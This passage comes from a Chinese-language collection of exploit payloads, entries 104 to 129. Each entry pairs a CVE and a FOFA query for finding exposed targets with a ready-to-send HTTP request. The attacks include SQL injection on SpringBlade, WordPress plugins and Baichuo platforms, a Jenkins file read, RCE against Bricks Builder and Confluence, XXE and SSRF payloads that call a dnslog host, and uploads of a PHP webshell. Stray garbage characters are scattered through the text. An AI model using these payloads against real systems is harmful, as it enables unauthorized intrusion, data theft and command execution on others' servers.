SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==
4 @' S5 J: A5 }  ?* @" H
# r' u* S* e& e* U2 R* m
其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
  {, @$ U( m1 B9 D<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>
+ `+ Z, ]' l0 S7 Z4 A3 |( p

  S6 ^# Q1 n3 S( U! w8 K7 @104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
( f% l" @' }' |$ N4 G/ LCVE-2024-0569
FOFA：title="TOTOLINK"
: O. J5 E  l* M1 b5 z' G. uPOST /cgi-bin/cstecgi.cgi HTTP/1.1
9 x( O6 W0 Y8 \* q2 U+ d. CHost:192.168.0.1
* m7 F' @# I8 UContent-Length:41
+ @$ z0 D( \( ~- k$ iAccept:application/json,text/javascript，*/*;q=0.01
X-Requested-with: XMLHttpRequest
6 y7 L/ n$ i; ]% sUser-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
Content-Type: application/x-www-form-urlencoded:charset=UTF-8
5 x6 {: [4 W* e/ e5 _9 GOrigin: http://192.168.0.1
Referer: http://192.168.0.1/advance/index.html?time=1671152380564
Accept-Encoding:gzip,deflate
Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
. _5 I. e' l2 [Connection:close
% C3 Z! w& j9 ?
4 w( H/ @0 M# L0 S  s{
"topicurl":"getSysStatusCfg",
. E0 b) R  [  x4 V"token":""
) h6 p! u, s) W* W: z' h}
" H1 N- ?8 s& w: s
105. SpringBlade v3.2.0 export-user SQL 注入
FOFA：body="https://bladex.vip"
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1

. I' o7 K& `/ l106. SpringBlade dict-biz/list SQL 注入
: D  h% K( u1 DFOFA：body="Saber 将不能正常工作"
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
  m7 V" F4 D5 K& wHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
Accept-Encoding: gzip, deflate
9 z& r6 c$ d( z3 Z$ U1 P) k+ [& p& ZAccept-Language: zh-CN,zh;q=0.9
- M4 y3 k, K7 r8 A% ~  u: b" \0 i9 G$ DConnection: close
7 m( v8 i- r0 i& \0 [
, s& i% v$ N* _- ?5 W
1 u* G. Q4 h' h" v107. SpringBlade tenant/list SQL 注入
+ q1 w9 _# K3 o  H4 Q; zFOFA：body="https://bladex.vip"
GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
( z. V8 G7 Z  oHost: your-ip
2 h$ p$ S6 r7 ^) \; @9 UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth:替换为自己的
Connection: close


108. D-Tale 3.9.0 SSRF
( u7 ~3 ~2 a. v" H, _CVE-2024-21642
- g" _% Z- j  ~4 y2 e8 \$ d, @FOFA："dtale/static/images/favicon.png"
( ~! [5 a) J# i9 ~0 L( p, iGET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
& W1 f* E. q, }& t! bHost: your-ip
# q9 R. o  y4 N4 M  C6 @Accept: application/json, text/plain, */*
/ K  N) k. X: Q! F2 \6 tUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
& O# e4 B8 e, U6 G7 S/ LAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
% U" ~# ]/ r9 o" b8 AConnection: close
$ X4 a, h8 q/ r$ f2 h/ R

109. Jenkins CLI 任意文件读取
4 q! K$ ?- u* V8 NCVE-2024-23897
* c7 H  E" x4 n* Y8 C6 u$ `8 ZFOFA：header="X-Jenkins"
POST /cli?remoting=false HTTP/1.1
Host:
Content-type: application/octet-stream
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
! B' a/ \/ g  D3 Y' p7 mSide: upload
. B# C; @: R3 w" L; H6 u3 rConnection: keep-alive
Content-Length: 163

; T+ z$ c" a3 ]! o2 R7 u/ ]b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'
8 `1 s' `2 @, }- T1 J. b) ^7 e

POST /cli?remoting=false HTTP/1.1
Host:
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
. u$ ?: k! c: P# E0 l! r$ k" wdownload
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
- p# G4 Z. f  X7 {/ r  ^! s# ?/ \% B

, D; s; _" ], f6 g' eERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
$ _( ~  _# r2 Z* Qjava -jar jenkins-cli.jar help
[COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)

8 v  U1 ^/ M# I' o; M( E5 j# w
110. Goanywhere MFT 未授权创建管理员
CVE-2024-0204
2 d2 ^4 N! C- p: t, k  TFOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
Host: 192.168.40.130:8000
: C8 F2 X4 H' ~) ~User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
, v1 v+ V& w* k2 F' Q+ SAccept: */*
9 \6 h4 E# J. |/ |2 V) _Accept-Language: en
Accept-Encoding: gzip
1 K( |7 _5 {- u
7 G4 H3 a2 J) y; K3 M
0 n# O  J4 ]6 H+ x111. WordPress Plugin HTML5 Video Player SQL注入
CVE-2024-1061
% Z6 e0 O  N$ z/ p2 ~. c4 F- cFOFA："wordpress" && body="html5-video-player"
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
Host: 192.168.40.130:112
& u/ Z& t( R$ o/ ]! c: c2 b7 `User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
& s# Q: x' K5 qConnection: close
5 w* ^" t- P: [) wAccept: */*
* c& e/ ?& S& }) ~2 r% [6 d6 S2 bAccept-Language: en
Accept-Encoding: gzip

/ ]+ G% V& n3 O( m  q6 \4 ?% K$ ^
8 ]' h/ J9 O8 \112. WordPress Plugin NotificationX SQL 注入
: F* P, N# l! k. W4 x3 hCVE-2024-1698
FOFA：body="/wp-content/plugins/notificationx"
POST /wp-json/notificationx/v1/analytics HTTP/1.1
: @' ], }: p' o& Q9 FHost: {{Hostname}}
Content-Type: application/json

{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}

0 x* G, U! C) K7 w
6 g+ s2 |) c, ~113. WordPress Automatic 插件任意文件下载和SSRF
CVE-2024-27954
0 _5 z9 G5 ~* q2 R& l$ g$ H3 Y+ S& `FOFA："/wp-content/plugins/wp-automatic"
GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
) u2 i' C( z0 p8 E$ h2 ~1 EHost: x.x.x.x
( c; J/ B8 K4 z; u+ }- pUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
9 t  x+ t6 v0 y6 {4 w$ V0 }9 qConnection: close
; r/ X$ ?3 z/ T& d0 eAccept: */*
/ j' c& p7 f  O+ R. |Accept-Language: en
Accept-Encoding: gzip


# `" b/ Z" [& Q+ [114. WordPress MasterStudy LMS插件 SQL注入
0 d1 U% T: ]* Q, _0 c% ]  uFOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
3 s, H* N* H- t3 j$ W2 U: b# sHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
: |  y/ `$ S, d4 D, Y" `Accept-Charset: utf-8
+ X/ R2 R6 I: c+ h. _( m6 ^Accept-Encoding: gzip, deflate
Connection: close
, T" H: [2 i# @& o, a' y5 Y
, s" S  a4 y. P
: P; B2 ~! O2 `" H115. WordPress Bricks Builder <= 1.9.6 RCE
3 Z  f' P0 c+ t1 KCVE-2024-25600
FOFA: body="/wp-content/themes/bricks/"
) _1 p# }9 H7 j) R; I& h第一步，获取网站的nonce值
GET / HTTP/1.1
Host: x.x.x.x
1 E1 ~  a& Z" f& I% \5 @; {3 k" HUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Accept-Encoding: gzip


第二步替换nonce值，执行命令
- @: \8 a2 W9 p% {POST /wp-json/bricks/v1/render_element HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
8 V3 M6 {0 s; N1 G% JContent-Length: 356
" Q! q# o5 h4 ]3 @1 T( O' bContent-Type: application/json
3 ]2 X+ o8 ?/ h; |( hAccept-Encoding: gzip

{
"postId": "1",
  "nonce": "第一步获得的值",
1 S# D6 G5 ]5 {9 K  "element": {
    "name": "container",
$ B0 q/ g$ Q1 y) k9 L" M! H    "settings": {
      "hasLoop": "true",
. P. s* z: H" Z& Z) s: ?      "query": {
0 A/ u% M  w$ o/ F, K$ V        "useQueryEditor": true,
8 r1 x' g" ~- {3 U        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
        "objectType": "post"
, R8 A( X2 \' F* R0 n" h* g% O      }
    }
: \% z& y' e' W# q( a3 J  }
5 J) R% U) `( t}
( m  ?: r% @  F" Q2 U- k

116. wordpress js-support-ticket文件上传
" X4 Q0 n3 y& M5 H9 M) o# `* i( z2 j2 sFOFA：body="wp-content/plugins/js-support-ticket"
POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
Host:
Content-Type: multipart/form-data; boundary=--------767099171
0 z3 X  V3 n3 aUser-Agent: Mozilla/5.0

' H: b( d& [6 E9 |5 F3 |* W----------767099171
% v8 V# x% b* O, }1 C0 uContent-Disposition: form-data; name="action"
8 I3 Z/ o+ k( {configuration_saveconfiguration
) D) S# b0 [( k# W# x: q* G----------767099171
+ i3 g* _7 [& C) ]7 m6 tContent-Disposition: form-data; name="form_request"
jssupportticket
----------767099171
Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
Content-Type: image/png
4 v* r4 n- a4 d----------767099171--
5 ~  I/ X/ l! u  h% x  o( D
  W" g4 ^- b$ L
( G6 ]) G4 F/ Q9 z117. WordPress LayerSlider插件SQL注入
version：7.9.11 – 7.10.0
" t; ?& C  N# C6 Q3 @FOFA：body="/wp-content/plugins/LayerSlider/"
/ L0 W$ \( l( @; l  Z, U$ Q6 RGET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
# S3 d/ M& {# L# T* B2 x  }8 IHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
& P8 \  Y- I$ ?$ k$ w9 ?Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
5 ]5 a8 g* V$ v' `6 ^# x8 [Connection: close
Upgrade-Insecure-Requests: 1


118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
CVE-2024-0939
FOFA：title="Smart管理平台"
+ j4 H: ]- z9 U; wPOST /Tool/uploadfile.php? HTTP/1.1
$ U' ~9 l& R/ J" Y& Y1 n  kHost: 192.168.40.130:8443
Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
  ?( u9 t% F# s+ cUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
1 `2 g% k: y( G* ~4 L" JAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 X& m, J) ]7 s- [Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
# a% i; x6 y# K& Z9 p, D! N8 vContent-Length: 405
Origin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
Upgrade-Insecure-Requests: 1
$ g" D) g- v8 {2 fSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
# u( N; k0 v, ?# q8 s/ X/ tSec-Fetch-Site: same-origin
- i$ H" F) j* ~) N2 B6 wSec-Fetch-User: ?1
: S$ Q& V" t, p/ X$ `! n- P7 G( RTe: trailers
Connection: close
3 w3 i, m) a" K9 A
-----------------------------13979701222747646634037182887
' R6 |+ B% ~" r, g: [- XContent-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream
. f/ n$ }) I8 g! ?
! t2 D1 x9 W; W2 T9 o8 W<?php
system($_POST["passwd"]);
?>
1 g9 [* }' e1 ~3 M-----------------------------13979701222747646634037182887
6 [% D6 X- z' H) A) TContent-Disposition: form-data; name="txt_path"

1 g5 l' p" c7 m1 H7 V9 M2 J2 y8 z  s/home/src.php
-----------------------------13979701222747646634037182887--
* g+ D# H5 F  d( R+ [0 R2 ]0 w) N( ^

1 ]9 {, e1 D% X; f6 M4 A' \$ ^, O" B访问/home/src.php
8 |& |! `0 y) S* x: F% r0 ^' X. V
+ r& b) ]3 W9 O: `8 s" u! Q  b119. 北京百绰智能S20后台sysmanageajax.php sql注入
/ J8 P0 v$ p# _3 d% S8 xCVE-2024-1254
FOFA：title="Smart管理平台"
5 q9 x$ P9 |. P5 a' a1 S先登录进入系统，默认账号密码为admin/admin
9 V' x, [! T  L& `7 ~POST /sysmanage/sysmanageajax.php HTTP/1.11
3 n7 Y4 x8 d/ K/ h) VHost: x.x.x.x
Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
$ I  l  @5 [5 pAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
% k& N& P# }. O2 q& h. r+ j' ^4 {Content-Type: application/x-www-form-urlencoded;
Content-Length: 109
6 v5 N4 Q5 x+ ^8 P$ A! vOrigin: https://58.18.133.60:8443
Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
5 a* Z' [8 X4 q  O  KSec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Forwarded-For: 1.1.1.1
/ V" X! k. c. v# M/ A( [, I/ lX-Originating-Ip: 1.1.1.1
X-Remote-Ip: 1.1.1.1
X-Remote-Addr: 1.1.1.1
. @  [( [- q3 n6 H5 A# f) y# PTe: trailers
- ^/ V6 l/ b% k+ IConnection: close

; j9 D" `3 Z2 r0 M5 Q  _src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456


9 C2 k5 B( Y* v7 r/ {. Z120. 北京百绰智能S40管理平台导入web.php任意文件上传
CVE-2024-1253
FOFA：title="Smart管理平台"
; a/ I* L! A( e9 C/ ?POST /useratte/web.php? HTTP/1.1
Host: ip:port
7 W% E0 u1 ~% UCookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
. P. B) _, ~. ZUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
7 ]8 e  e) R* C/ }9 ?& p7 W( I, FAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
' N: I& R/ l- Y) N5 m! Y% HContent-Length: 597
Origin: https://ip:port
Referer: https://ip:port/sysmanage/licence.php
. G& T! a5 K' H3 aUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
6 n( r1 D# e) t6 Y) O& V- f4 JSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
: W/ ^: l. r" ~9 f8 ~7 `Te: trailers
; F% h3 _( U. g( Y; ^6 _Connection: close
* [  M: z; N1 f  z2 \
/ u) s: O4 O! c; A) |-----------------------------42328904123665875270630079328
! q1 Y# F/ }  w1 S; J" P/ V  A; vContent-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream
' `$ H! H: P# D1 e6 T1 ^8 |
<?php phpinfo()?>
$ u. ?5 P. n, z% Z5 l) v+ [" R-----------------------------42328904123665875270630079328
9 H# @6 x* I3 J: Z, s/ w5 P" dContent-Disposition: form-data; name="id_type"

1
-----------------------------42328904123665875270630079328
1 M6 s6 N$ I0 k7 qContent-Disposition: form-data; name="1_ck"
/ W: r% w* n- M& @
- f1 j' |3 C- O6 B, R1 }1_radhttp
4 m% k: {: o5 M7 h-----------------------------42328904123665875270630079328
6 y4 W% G- a8 [' pContent-Disposition: form-data; name="mode"
( t( `/ M, z3 M& \% x+ g
/ \; Q. T4 }9 q. kimport
-----------------------------42328904123665875270630079328

  I2 w8 {2 o1 k8 U) H. [5 {( |
( }6 y6 V, T, T( G文件路径/upload/2.php

8 @7 u) ]3 Y5 q( z) X  e& I$ B4 X4 K121. 北京百绰智能S42管理平台userattestation.php任意文件上传
7 C& V/ K/ T3 D3 q: [; ^( U- ICVE-2024-1918
FOFA：title="Smart管理平台"
- w6 A1 s' E1 A6 BPOST /useratte/userattestation.php HTTP/1.1
# h& u' s' h4 B' ?& cHost: 192.168.40.130:8443
0 J3 n& T4 O0 V  k  W8 [; RCookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 592
( H, w6 e$ ]8 ~, P9 p1 sOrigin: https://192.168.40.130:8443
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
, ]% u* O' u& s, [7 }1 gSec-Fetch-User: ?1
Te: trailers
Connection: close

-----------------------------42328904123665875270630079328
7 i- Y% P7 g1 q0 [Content-Disposition: form-data; name="web_img"; filename="1.php"
( c! ]5 Y- `/ y, DContent-Type: application/octet-stream

4 a3 U# y" _& o( r/ P<?php phpinfo();?>
-----------------------------42328904123665875270630079328
, L4 c& c. |  cContent-Disposition: form-data; name="id_type"

2 f3 w9 x. S/ w6 D* L6 x1
-----------------------------42328904123665875270630079328
, z0 C% T  S; y! y4 @Content-Disposition: form-data; name="1_ck"

1_radhttp
1 I3 u: L, H: R9 l9 F4 B-----------------------------42328904123665875270630079328
7 t* m( \/ e6 }; qContent-Disposition: form-data; name="hidwel"

8 m1 O2 S& Z' x: V4 kset
4 T/ q' [. o* F% _4 ]-----------------------------42328904123665875270630079328


boot/web/upload/weblogo/1.php
7 i* M! z- d, y+ Z
% z$ ~/ ~; l2 i& _  N122. 北京百绰智能s200管理平台/importexport.php sql注入
2 f# z2 `, {9 w! O2 w. pCVE-2024-27718FOFA：title="Smart管理平台"
+ x: ^7 ~  D; n3 @+ R其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
. M% J5 x4 y  X. a' xGET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
Host: x.x.x.x
) f1 O0 H- R' m6 p3 Z. _8 FCookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
  ^. [5 Z* F. @6 f7 @  sAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- z7 v1 u' d$ YAccept-Encoding: gzip, deflate, br
( A6 [, _+ s( X3 O* R& U' v* J) fUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
: P2 f6 _- \  T" d5 i. ZSec-Fetch-Mode: navigate
Sec-Fetch-Site: none
# M6 D" v$ D+ P! [Sec-Fetch-User: ?1
Te: trailers
; R/ Q# v: f1 x4 `Connection: close
' C; v$ w$ O7 z# J

123. Atlassian Confluence 模板注入代码执行
FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
POST /template/aui/text-inline.vm HTTP/1.1
9 p* s/ R" a$ ?# n9 [Host: localhost:8090
Accept-Encoding: gzip, deflate, br
7 R+ t% q( p& X% U! {Accept: */*
8 r9 r; v' u, q* G$ b/ S7 ^Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
  V8 A  C$ R2 t2 m7 X3 HContent-Type: application/x-www-form-urlencoded

label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
. H. F. v5 i+ o0 ?9 D8 m8 r
4 }+ k* d7 v! ~
124. 湖南建研工程质量检测系统任意文件上传
% K2 j, @3 t1 u2 E/ pFOFA：body="/Content/Theme/Standard/webSite/login.css"
POST /Scripts/admintool?type=updatefile HTTP/1.1
5 g, s" c' k& U. JHost: 192.168.40.130:8282
+ J9 v* h3 F! }+ `User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
" f7 s$ V7 I8 O% x% N) ]4 }9 N6 uContent-Length: 72
* O) w4 o, J/ A4 zAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
! z! m3 `' r" |( x4 I9 [, XAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 b/ S7 ^# q8 C( R& F$ E* \0 DConnection: close
Content-Type: application/x-www-form-urlencoded

filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>

$ J1 W% o, E1 u: Y" Y! x
http://192.168.40.130:8282/Scripts/abcgcg.aspx
7 v; \# W' G) U7 H# C- Z1 l
. D0 r1 ~9 X' ]6 R+ H  n125. ConnectWise ScreenConnect身份验证绕过
CVE-2024-1709
5 z- a" I; q/ I' X* p4 V2 X  f* _: JFOFA：icon_hash="-82958153"
% D; u+ k# A/ Bhttps://github.com/watchtowrlabs ... bypass-add-user-poc
/ O* n; _" e0 s" d2 |$ V% w

" H) A$ |5 q* r& r2 U使用方法
9 Q5 g/ J, S" j2 a# c( R8 N) zpython watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!


创建好用户后直接登录后台，可以执行系统命令。

& i& b- G8 z1 n/ d126. Aiohttp 路径遍历
FOFA：title=="ComfyUI"
3 u2 ?: Q$ i# V( SGET /static/../../../../../etc/passwd HTTP/1.1
& m' t% K! J- ]1 XHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
+ ]: H& _3 P8 o0 X" \7 `2 tAccept-Language: en
Accept-Encoding: gzip
2 X8 l# o3 P, d3 t  x0 S

127. 广联达Linkworks DataExchange.ashx XXE
FOFA：body="Services/Identification/login.ashx"
POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
  X  d2 c% M/ ?0 ^6 GHost: 192.168.40.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
$ r6 B6 Z8 {' r8 ~3 @Content-Length: 415
) A6 I7 A) R8 ?0 g# hAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
3 k) u) e9 `$ j# P& ?$ S4 JAccept-Encoding: gzip, deflate
  x& H. w* C- ?9 N# M4 A& z- cAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
1 A! d# U% Q: P9 ]. P4 lPurpose: prefetch
Sec-Purpose: prefetch;prerender

$ n9 n  C  Z5 R3 U: n6 X------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="SystemName"
% X) b8 k" B4 L6 ?
, g6 U2 {; |' f& }* n9 pBIM
------WebKitFormBoundaryJGgV5l5ta05yAIe0
5 p6 J+ t4 U3 E( q2 gContent-Disposition: form-data;name="Params"
  v" p3 N4 L' e6 @4 zContent-Type: text/plain

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
2 y  k. j0 s8 S& P- c7 K]
>
( o; _' {: m1 p; Y/ o) D1 v<test>&t;</test>
------WebKitFormBoundaryJGgV5l5ta05yAIe0--
( I3 n; q" t- Z0 M" s


; d# @& P+ U. `: f. O$ f$ v128. Adobe ColdFusion 反序列化
CVE-2023-38203
, n8 D9 b( o! M5 ~& d7 W, wAdobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
0 v" T! S6 c: l, }5 b; X) TFOFA：app="Adobe-ColdFusion"
PAYLOAD

# A9 K0 H$ W8 V129. Adobe ColdFusion 任意文件读取
: r) H) {5 G6 RCVE-2024-20767
# ]5 j5 }0 x4 L$ g% q3 J3 @FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
: O( y0 S/ J4 J& T) IGET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
